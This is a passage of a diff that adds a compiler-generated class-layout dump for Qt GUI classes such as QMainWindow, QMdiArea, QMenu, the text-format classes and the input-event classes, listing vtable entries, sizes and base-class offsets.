+92 QWidget::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QWidget::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QWidget::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QMainWindow::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QWidget::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QMainWindow::createPopupMenu
+228 (int (*)(...))-0x000000008
+232 (int (*)(...))(& _ZTI11QMainWindow)
+236 QMainWindow::_ZThn8_N11QMainWindowD1Ev
+240 QMainWindow::_ZThn8_N11QMainWindowD0Ev
+244 QWidget::_ZThn8_NK7QWidget7devTypeEv
+248 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+252 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QMainWindow
+ size=20 align=4
+ base size=20 base align=4
+QMainWindow (0xb36599c0) 0
+ vptr=((& QMainWindow::_ZTV11QMainWindow) + 8u)
+ QWidget (0xb3681a00) 0
+ primary-for QMainWindow (0xb36599c0)
+ QObject (0xb36890b4) 0
+ primary-for QWidget (0xb3681a00)
+ QPaintDevice (0xb36890f0) 8
+ vptr=((& QMainWindow::_ZTV11QMainWindow) + 236u)
+
+Vtable for QMdiArea
+QMdiArea::_ZTV8QMdiArea: 65u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QMdiArea)
+8 QMdiArea::metaObject
+12 QMdiArea::qt_metacast
+16 QMdiArea::qt_metacall
+20 QMdiArea::~QMdiArea
+24 QMdiArea::~QMdiArea
+28 QMdiArea::event
+32 QMdiArea::eventFilter
+36 QMdiArea::timerEvent
+40 QMdiArea::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QMdiArea::sizeHint
+68 QMdiArea::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QAbstractScrollArea::mousePressEvent
+84 QAbstractScrollArea::mouseReleaseEvent
+88 QAbstractScrollArea::mouseDoubleClickEvent
+92 QAbstractScrollArea::mouseMoveEvent
+96 QAbstractScrollArea::wheelEvent
+100 QAbstractScrollArea::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QWidget::enterEvent
+120 QWidget::leaveEvent
+124 QMdiArea::paintEvent
+128 QWidget::moveEvent
+132 QMdiArea::resizeEvent
+136 QWidget::closeEvent
+140 QAbstractScrollArea::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QAbstractScrollArea::dragEnterEvent
+156 QAbstractScrollArea::dragMoveEvent
+160 QAbstractScrollArea::dragLeaveEvent
+164 QAbstractScrollArea::dropEvent
+168 QMdiArea::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QFrame::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 QMdiArea::viewportEvent
+228 QMdiArea::scrollContentsBy
+232 (int (*)(...))-0x000000008
+236 (int (*)(...))(& _ZTI8QMdiArea)
+240 QMdiArea::_ZThn8_N8QMdiAreaD1Ev
+244 QMdiArea::_ZThn8_N8QMdiAreaD0Ev
+248 QWidget::_ZThn8_NK7QWidget7devTypeEv
+252 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+256 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QMdiArea
+ size=20 align=4
+ base size=20 base align=4
+QMdiArea (0xb3659dc0) 0
+ vptr=((& QMdiArea::_ZTV8QMdiArea) + 8u)
+ QAbstractScrollArea (0xb3659e00) 0
+ primary-for QMdiArea (0xb3659dc0)
+ QFrame (0xb3659e40) 0
+ primary-for QAbstractScrollArea (0xb3659e00)
+ QWidget (0xb36a7e10) 0
+ primary-for QFrame (0xb3659e40)
+ QObject (0xb36893fc) 0
+ primary-for QWidget (0xb36a7e10)
+ QPaintDevice (0xb3689438) 8
+ vptr=((& QMdiArea::_ZTV8QMdiArea) + 240u)
+
+Vtable for QMdiSubWindow
+QMdiSubWindow::_ZTV13QMdiSubWindow: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QMdiSubWindow)
+8 QMdiSubWindow::metaObject
+12 QMdiSubWindow::qt_metacast
+16 QMdiSubWindow::qt_metacall
+20 QMdiSubWindow::~QMdiSubWindow
+24 QMdiSubWindow::~QMdiSubWindow
+28 QMdiSubWindow::event
+32 QMdiSubWindow::eventFilter
+36 QMdiSubWindow::timerEvent
+40 QMdiSubWindow::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QMdiSubWindow::sizeHint
+68 QMdiSubWindow::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QMdiSubWindow::mousePressEvent
+84 QMdiSubWindow::mouseReleaseEvent
+88 QMdiSubWindow::mouseDoubleClickEvent
+92 QMdiSubWindow::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QMdiSubWindow::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QMdiSubWindow::focusInEvent
+112 QMdiSubWindow::focusOutEvent
+116 QWidget::enterEvent
+120 QMdiSubWindow::leaveEvent
+124 QMdiSubWindow::paintEvent
+128 QMdiSubWindow::moveEvent
+132 QMdiSubWindow::resizeEvent
+136 QMdiSubWindow::closeEvent
+140 QMdiSubWindow::contextMenuEvent
+144 QWidget::tabletEvent
+148 QWidget::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QMdiSubWindow::showEvent
+172 QMdiSubWindow::hideEvent
+176 QWidget::x11Event
+180 QMdiSubWindow::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI13QMdiSubWindow)
+232 QMdiSubWindow::_ZThn8_N13QMdiSubWindowD1Ev
+236 QMdiSubWindow::_ZThn8_N13QMdiSubWindowD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QMdiSubWindow
+ size=20 align=4
+ base size=20 base align=4
+QMdiSubWindow (0xb36d2240) 0
+ vptr=((& QMdiSubWindow::_ZTV13QMdiSubWindow) + 8u)
+ QWidget (0xb36f70f0) 0
+ primary-for QMdiSubWindow (0xb36d2240)
+ QObject (0xb3689780) 0
+ primary-for QWidget (0xb36f70f0)
+ QPaintDevice (0xb36897bc) 8
+ vptr=((& QMdiSubWindow::_ZTV13QMdiSubWindow) + 232u)
+
+Vtable for QAction
+QAction::_ZTV7QAction: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI7QAction)
+8 QAction::metaObject
+12 QAction::qt_metacast
+16 QAction::qt_metacall
+20 QAction::~QAction
+24 QAction::~QAction
+28 QAction::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QAction
+ size=8 align=4
+ base size=8 base align=4
+QAction (0xb36d2680) 0
+ vptr=((& QAction::_ZTV7QAction) + 8u)
+ QObject (0xb3689ac8) 0
+ primary-for QAction (0xb36d2680)
+
+Vtable for QActionGroup
+QActionGroup::_ZTV12QActionGroup: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QActionGroup)
+8 QActionGroup::metaObject
+12 QActionGroup::qt_metacast
+16 QActionGroup::qt_metacall
+20 QActionGroup::~QActionGroup
+24 QActionGroup::~QActionGroup
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QActionGroup
+ size=8 align=4
+ base size=8 base align=4
+QActionGroup (0xb36d2d00) 0
+ vptr=((& QActionGroup::_ZTV12QActionGroup) + 8u)
+ QObject (0xb3689f78) 0
+ primary-for QActionGroup (0xb36d2d00)
+
+Vtable for QMenu
+QMenu::_ZTV5QMenu: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI5QMenu)
+8 QMenu::metaObject
+12 QMenu::qt_metacast
+16 QMenu::qt_metacall
+20 QMenu::~QMenu
+24 QMenu::~QMenu
+28 QMenu::event
+32 QObject::eventFilter
+36 QMenu::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QWidget::setVisible
+64 QMenu::sizeHint
+68 QWidget::minimumSizeHint
+72 QWidget::heightForWidth
+76 QWidget::paintEngine
+80 QMenu::mousePressEvent
+84 QMenu::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QMenu::mouseMoveEvent
+96 QMenu::wheelEvent
+100 QMenu::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QWidget::focusInEvent
+112 QWidget::focusOutEvent
+116 QMenu::enterEvent
+120 QMenu::leaveEvent
+124 QMenu::paintEvent
+128 QWidget::moveEvent
+132 QWidget::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QMenu::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QMenu::hideEvent
+176 QWidget::x11Event
+180 QMenu::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QMenu::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI5QMenu)
+232 QMenu::_ZThn8_N5QMenuD1Ev
+236 QMenu::_ZThn8_N5QMenuD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QMenu
+ size=20 align=4
+ base size=20 base align=4
+QMenu (0xb3562180) 0
+ vptr=((& QMenu::_ZTV5QMenu) + 8u)
+ QWidget (0xb3574e10) 0
+ primary-for QMenu (0xb3562180)
+ QObject (0xb355e3c0) 0
+ primary-for QWidget (0xb3574e10)
+ QPaintDevice (0xb355e3fc) 8
+ vptr=((& QMenu::_ZTV5QMenu) + 232u)
+
+Vtable for QMenuBar
+QMenuBar::_ZTV8QMenuBar: 63u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI8QMenuBar)
+8 QMenuBar::metaObject
+12 QMenuBar::qt_metacast
+16 QMenuBar::qt_metacall
+20 QMenuBar::~QMenuBar
+24 QMenuBar::~QMenuBar
+28 QMenuBar::event
+32 QMenuBar::eventFilter
+36 QMenuBar::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QWidget::devType
+60 QMenuBar::setVisible
+64 QMenuBar::sizeHint
+68 QMenuBar::minimumSizeHint
+72 QMenuBar::heightForWidth
+76 QWidget::paintEngine
+80 QMenuBar::mousePressEvent
+84 QMenuBar::mouseReleaseEvent
+88 QWidget::mouseDoubleClickEvent
+92 QMenuBar::mouseMoveEvent
+96 QWidget::wheelEvent
+100 QMenuBar::keyPressEvent
+104 QWidget::keyReleaseEvent
+108 QMenuBar::focusInEvent
+112 QMenuBar::focusOutEvent
+116 QWidget::enterEvent
+120 QMenuBar::leaveEvent
+124 QMenuBar::paintEvent
+128 QWidget::moveEvent
+132 QMenuBar::resizeEvent
+136 QWidget::closeEvent
+140 QWidget::contextMenuEvent
+144 QWidget::tabletEvent
+148 QMenuBar::actionEvent
+152 QWidget::dragEnterEvent
+156 QWidget::dragMoveEvent
+160 QWidget::dragLeaveEvent
+164 QWidget::dropEvent
+168 QWidget::showEvent
+172 QWidget::hideEvent
+176 QWidget::x11Event
+180 QMenuBar::changeEvent
+184 QWidget::metric
+188 QWidget::inputMethodEvent
+192 QWidget::inputMethodQuery
+196 QWidget::focusNextPrevChild
+200 QWidget::styleChange
+204 QWidget::enabledChange
+208 QWidget::paletteChange
+212 QWidget::fontChange
+216 QWidget::windowActivationChange
+220 QWidget::languageChange
+224 (int (*)(...))-0x000000008
+228 (int (*)(...))(& _ZTI8QMenuBar)
+232 QMenuBar::_ZThn8_N8QMenuBarD1Ev
+236 QMenuBar::_ZThn8_N8QMenuBarD0Ev
+240 QWidget::_ZThn8_NK7QWidget7devTypeEv
+244 QWidget::_ZThn8_NK7QWidget11paintEngineEv
+248 QWidget::_ZThn8_NK7QWidget6metricEN12QPaintDevice17PaintDeviceMetricE
+
+Class QMenuBar
+ size=20 align=4
+ base size=20 base align=4
+QMenuBar (0xb35b9dc0) 0
+ vptr=((& QMenuBar::_ZTV8QMenuBar) + 8u)
+ QWidget (0xb35d30a0) 0
+ primary-for QMenuBar (0xb35b9dc0)
+ QObject (0xb35beac8) 0
+ primary-for QWidget (0xb35d30a0)
+ QPaintDevice (0xb35beb04) 8
+ vptr=((& QMenuBar::_ZTV8QMenuBar) + 232u)
+
+Vtable for QMenuItem
+QMenuItem::_ZTV9QMenuItem: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QMenuItem)
+8 QMenuItem::metaObject
+12 QMenuItem::qt_metacast
+16 QMenuItem::qt_metacall
+20 QMenuItem::~QMenuItem
+24 QMenuItem::~QMenuItem
+28 QAction::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QMenuItem
+ size=8 align=4
+ base size=8 base align=4
+QMenuItem (0xb3414a00) 0
+ vptr=((& QMenuItem::_ZTV9QMenuItem) + 8u)
+ QAction (0xb3414a40) 0
+ primary-for QMenuItem (0xb3414a00)
+ QObject (0xb3420258) 0
+ primary-for QAction (0xb3414a40)
+
+Vtable for QAbstractUndoItem
+QAbstractUndoItem::_ZTV17QAbstractUndoItem: 6u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QAbstractUndoItem)
+8 __cxa_pure_virtual
+12 __cxa_pure_virtual
+16 __cxa_pure_virtual
+20 __cxa_pure_virtual
+
+Class QAbstractUndoItem
+ size=4 align=4
+ base size=4 base align=4
+QAbstractUndoItem (0xb3420384) 0 nearly-empty
+ vptr=((& QAbstractUndoItem::_ZTV17QAbstractUndoItem) + 8u)
+
+Vtable for QTextDocument
+QTextDocument::_ZTV13QTextDocument: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI13QTextDocument)
+8 QTextDocument::metaObject
+12 QTextDocument::qt_metacast
+16 QTextDocument::qt_metacall
+20 QTextDocument::~QTextDocument
+24 QTextDocument::~QTextDocument
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QTextDocument::clear
+60 QTextDocument::createObject
+64 QTextDocument::loadResource
+
+Class QTextDocument
+ size=8 align=4
+ base size=8 base align=4
+QTextDocument (0xb3414e80) 0
+ vptr=((& QTextDocument::_ZTV13QTextDocument) + 8u)
+ QObject (0xb34205a0) 0
+ primary-for QTextDocument (0xb3414e80)
+
+Class QTextOption::Tab
+ size=16 align=4
+ base size=14 base align=4
+QTextOption::Tab (0xb34208e8) 0
+
+Class QTextOption
+ size=24 align=4
+ base size=24 base align=4
+QTextOption (0xb34208ac) 0
+
+Class QPen
+ size=4 align=4
+ base size=4 base align=4
+QPen (0xb348e690) 0
+
+Class QTextLength
+ size=12 align=4
+ base size=12 base align=4
+QTextLength (0xb348e7f8) 0
+
+Class QTextFormat
+ size=8 align=4
+ base size=8 base align=4
+QTextFormat (0xb34d7078) 0
+
+Class QTextCharFormat
+ size=8 align=4
+ base size=8 base align=4
+QTextCharFormat (0xb34cac40) 0
+ QTextFormat (0xb34d75dc) 0
+
+Class QTextBlockFormat
+ size=8 align=4
+ base size=8 base align=4
+QTextBlockFormat (0xb335ab80) 0
+ QTextFormat (0xb3365bb8) 0
+
+Class QTextListFormat
+ size=8 align=4
+ base size=8 base align=4
+QTextListFormat (0xb3388140) 0
+ QTextFormat (0xb3383384) 0
+
+Class QTextImageFormat
+ size=8 align=4
+ base size=8 base align=4
+QTextImageFormat (0xb3388300) 0
+ QTextCharFormat (0xb3388340) 0
+ QTextFormat (0xb33835dc) 0
+
+Class QTextFrameFormat
+ size=8 align=4
+ base size=8 base align=4
+QTextFrameFormat (0xb3388580) 0
+ QTextFormat (0xb33838ac) 0
+
+Class QTextTableFormat
+ size=8 align=4
+ base size=8 base align=4
+QTextTableFormat (0xb3388c00) 0
+ QTextFrameFormat (0xb3388c40) 0
+ QTextFormat (0xb33b20f0) 0
+
+Class QTextTableCellFormat
+ size=8 align=4
+ base size=8 base align=4
+QTextTableCellFormat (0xb33c2140) 0
+ QTextCharFormat (0xb33c2180) 0
+ QTextFormat (0xb33b26cc) 0
+
+Class QTextCursor
+ size=4 align=4
+ base size=4 base align=4
+QTextCursor (0xb33b2a50) 0
+
+Vtable for QTextObject
+QTextObject::_ZTV11QTextObject: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QTextObject)
+8 QTextObject::metaObject
+12 QTextObject::qt_metacast
+16 QTextObject::qt_metacall
+20 QTextObject::~QTextObject
+24 QTextObject::~QTextObject
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QTextObject
+ size=8 align=4
+ base size=8 base align=4
+QTextObject (0xb33c24c0) 0
+ vptr=((& QTextObject::_ZTV11QTextObject) + 8u)
+ QObject (0xb33b2ac8) 0
+ primary-for QTextObject (0xb33c24c0)
+
+Vtable for QTextBlockGroup
+QTextBlockGroup::_ZTV15QTextBlockGroup: 17u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI15QTextBlockGroup)
+8 QTextBlockGroup::metaObject
+12 QTextBlockGroup::qt_metacast
+16 QTextBlockGroup::qt_metacall
+20 QTextBlockGroup::~QTextBlockGroup
+24 QTextBlockGroup::~QTextBlockGroup
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+56 QTextBlockGroup::blockInserted
+60 QTextBlockGroup::blockRemoved
+64 QTextBlockGroup::blockFormatChanged
+
+Class QTextBlockGroup
+ size=8 align=4
+ base size=8 base align=4
+QTextBlockGroup (0xb33c27c0) 0
+ vptr=((& QTextBlockGroup::_ZTV15QTextBlockGroup) + 8u)
+ QTextObject (0xb33c2800) 0
+ primary-for QTextBlockGroup (0xb33c27c0)
+ QObject (0xb33b2ce4) 0
+ primary-for QTextObject (0xb33c2800)
+
+Vtable for QTextFrameLayoutData
+QTextFrameLayoutData::_ZTV20QTextFrameLayoutData: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI20QTextFrameLayoutData)
+8 QTextFrameLayoutData::~QTextFrameLayoutData
+12 QTextFrameLayoutData::~QTextFrameLayoutData
+
+Class QTextFrameLayoutData
+ size=4 align=4
+ base size=4 base align=4
+QTextFrameLayoutData (0xb33b2f00) 0 nearly-empty
+ vptr=((& QTextFrameLayoutData::_ZTV20QTextFrameLayoutData) + 8u)
+
+Class QTextFrame::iterator
+ size=20 align=4
+ base size=20 base align=4
+QTextFrame::iterator (0xb33b2f78) 0
+
+Vtable for QTextFrame
+QTextFrame::_ZTV10QTextFrame: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QTextFrame)
+8 QTextFrame::metaObject
+12 QTextFrame::qt_metacast
+16 QTextFrame::qt_metacall
+20 QTextFrame::~QTextFrame
+24 QTextFrame::~QTextFrame
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QTextFrame
+ size=8 align=4
+ base size=8 base align=4
+QTextFrame (0xb33c2b00) 0
+ vptr=((& QTextFrame::_ZTV10QTextFrame) + 8u)
+ QTextObject (0xb33c2b40) 0
+ primary-for QTextFrame (0xb33c2b00)
+ QObject (0xb33b2f3c) 0
+ primary-for QTextObject (0xb33c2b40)
+
+Vtable for QTextBlockUserData
+QTextBlockUserData::_ZTV18QTextBlockUserData: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI18QTextBlockUserData)
+8 QTextBlockUserData::~QTextBlockUserData
+12 QTextBlockUserData::~QTextBlockUserData
+
+Class QTextBlockUserData
+ size=4 align=4
+ base size=4 base align=4
+QTextBlockUserData (0xb3411c30) 0 nearly-empty
+ vptr=((& QTextBlockUserData::_ZTV18QTextBlockUserData) + 8u)
+
+Class QTextBlock::iterator
+ size=16 align=4
+ base size=16 base align=4
+QTextBlock::iterator (0xb3411ca8) 0
+
+Class QTextBlock
+ size=8 align=4
+ base size=8 base align=4
+QTextBlock (0xb3411c6c) 0
+
+Class QTextFragment
+ size=12 align=4
+ base size=12 base align=4
+QTextFragment (0xb323c924) 0
+
+Vtable for QMimeSource
+QMimeSource::_ZTV11QMimeSource: 7u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QMimeSource)
+8 QMimeSource::~QMimeSource
+12 QMimeSource::~QMimeSource
+16 __cxa_pure_virtual
+20 QMimeSource::provides
+24 __cxa_pure_virtual
+
+Class QMimeSource
+ size=4 align=4
+ base size=4 base align=4
+QMimeSource (0xb324d870) 0 nearly-empty
+ vptr=((& QMimeSource::_ZTV11QMimeSource) + 8u)
+
+Vtable for QDrag
+QDrag::_ZTV5QDrag: 14u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI5QDrag)
+8 QDrag::metaObject
+12 QDrag::qt_metacast
+16 QDrag::qt_metacall
+20 QDrag::~QDrag
+24 QDrag::~QDrag
+28 QObject::event
+32 QObject::eventFilter
+36 QObject::timerEvent
+40 QObject::childEvent
+44 QObject::customEvent
+48 QObject::connectNotify
+52 QObject::disconnectNotify
+
+Class QDrag
+ size=8 align=4
+ base size=8 base align=4
+QDrag (0xb323e880) 0
+ vptr=((& QDrag::_ZTV5QDrag) + 8u)
+ QObject (0xb324d8ac) 0
+ primary-for QDrag (0xb323e880)
+
+Vtable for QInputEvent
+QInputEvent::_ZTV11QInputEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QInputEvent)
+8 QInputEvent::~QInputEvent
+12 QInputEvent::~QInputEvent
+
+Class QInputEvent
+ size=16 align=4
+ base size=16 base align=4
+QInputEvent (0xb323eb40) 0
+ vptr=((& QInputEvent::_ZTV11QInputEvent) + 8u)
+ QEvent (0xb324dac8) 0
+ primary-for QInputEvent (0xb323eb40)
+
+Vtable for QMouseEvent
+QMouseEvent::_ZTV11QMouseEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QMouseEvent)
+8 QMouseEvent::~QMouseEvent
+12 QMouseEvent::~QMouseEvent
+
+Class QMouseEvent
+ size=40 align=4
+ base size=40 base align=4
+QMouseEvent (0xb323ec40) 0
+ vptr=((& QMouseEvent::_ZTV11QMouseEvent) + 8u)
+ QInputEvent (0xb323ec80) 0
+ primary-for QMouseEvent (0xb323ec40)
+ QEvent (0xb324dbb8) 0
+ primary-for QInputEvent (0xb323ec80)
+
+Vtable for QHoverEvent
+QHoverEvent::_ZTV11QHoverEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QHoverEvent)
+8 QHoverEvent::~QHoverEvent
+12 QHoverEvent::~QHoverEvent
+
+Class QHoverEvent
+ size=28 align=4
+ base size=28 base align=4
+QHoverEvent (0xb3283080) 0
+ vptr=((& QHoverEvent::_ZTV11QHoverEvent) + 8u)
+ QEvent (0xb32820b4) 0
+ primary-for QHoverEvent (0xb3283080)
+
+Vtable for QWheelEvent
+QWheelEvent::_ZTV11QWheelEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QWheelEvent)
+8 QWheelEvent::~QWheelEvent
+12 QWheelEvent::~QWheelEvent
+
+Class QWheelEvent
+ size=44 align=4
+ base size=44 base align=4
+QWheelEvent (0xb3283180) 0
+ vptr=((& QWheelEvent::_ZTV11QWheelEvent) + 8u)
+ QInputEvent (0xb32831c0) 0
+ primary-for QWheelEvent (0xb3283180)
+ QEvent (0xb3282168) 0
+ primary-for QInputEvent (0xb32831c0)
+
+Vtable for QTabletEvent
+QTabletEvent::_ZTV12QTabletEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QTabletEvent)
+8 QTabletEvent::~QTabletEvent
+12 QTabletEvent::~QTabletEvent
+
+Class QTabletEvent
+ size=104 align=4
+ base size=104 base align=4
+QTabletEvent (0xb3283500) 0
+ vptr=((& QTabletEvent::_ZTV12QTabletEvent) + 8u)
+ QInputEvent (0xb3283540) 0
+ primary-for QTabletEvent (0xb3283500)
+ QEvent (0xb3282528) 0
+ primary-for QInputEvent (0xb3283540)
+
+Vtable for QKeyEvent
+QKeyEvent::_ZTV9QKeyEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI9QKeyEvent)
+8 QKeyEvent::~QKeyEvent
+12 QKeyEvent::~QKeyEvent
+
+Class QKeyEvent
+ size=28 align=4
+ base size=27 base align=4
+QKeyEvent (0xb3283a40) 0
+ vptr=((& QKeyEvent::_ZTV9QKeyEvent) + 8u)
+ QInputEvent (0xb3283a80) 0
+ primary-for QKeyEvent (0xb3283a40)
+ QEvent (0xb3282b7c) 0
+ primary-for QInputEvent (0xb3283a80)
+
+Vtable for QFocusEvent
+QFocusEvent::_ZTV11QFocusEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QFocusEvent)
+8 QFocusEvent::~QFocusEvent
+12 QFocusEvent::~QFocusEvent
+
+Class QFocusEvent
+ size=16 align=4
+ base size=16 base align=4
+QFocusEvent (0xb3283fc0) 0
+ vptr=((& QFocusEvent::_ZTV11QFocusEvent) + 8u)
+ QEvent (0xb32b15dc) 0
+ primary-for QFocusEvent (0xb3283fc0)
+
+Vtable for QPaintEvent
+QPaintEvent::_ZTV11QPaintEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI11QPaintEvent)
+8 QPaintEvent::~QPaintEvent
+12 QPaintEvent::~QPaintEvent
+
+Class QPaintEvent
+ size=36 align=4
+ base size=33 base align=4
+QPaintEvent (0xb32b7140) 0
+ vptr=((& QPaintEvent::_ZTV11QPaintEvent) + 8u)
+ QEvent (0xb32b1690) 0
+ primary-for QPaintEvent (0xb32b7140)
+
+Vtable for QUpdateLaterEvent
+QUpdateLaterEvent::_ZTV17QUpdateLaterEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI17QUpdateLaterEvent)
+8 QUpdateLaterEvent::~QUpdateLaterEvent
+12 QUpdateLaterEvent::~QUpdateLaterEvent
+
+Class QUpdateLaterEvent
+ size=16 align=4
+ base size=16 base align=4
+QUpdateLaterEvent (0xb32b72c0) 0
+ vptr=((& QUpdateLaterEvent::_ZTV17QUpdateLaterEvent) + 8u)
+ QEvent (0xb32b17bc) 0
+ primary-for QUpdateLaterEvent (0xb32b72c0)
+
+Vtable for QMoveEvent
+QMoveEvent::_ZTV10QMoveEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI10QMoveEvent)
+8 QMoveEvent::~QMoveEvent
+12 QMoveEvent::~QMoveEvent
+
+Class QMoveEvent
+ size=28 align=4
+ base size=28 base align=4
+QMoveEvent (0xb32b7380) 0
+ vptr=((& QMoveEvent::_ZTV10QMoveEvent) + 8u)
+ QEvent (0xb32b1834) 0
+ primary-for QMoveEvent (0xb32b7380)
+
+Vtable for QResizeEvent
+QResizeEvent::_ZTV12QResizeEvent: 4u entries
+0 (int (*)(...))0
+4 (int (*)(...))(& _ZTI12QResizeEvent)
+8 QResizeEvent::~QResizeEvent
+12 QResizeEvent::~QResizeEvent
+
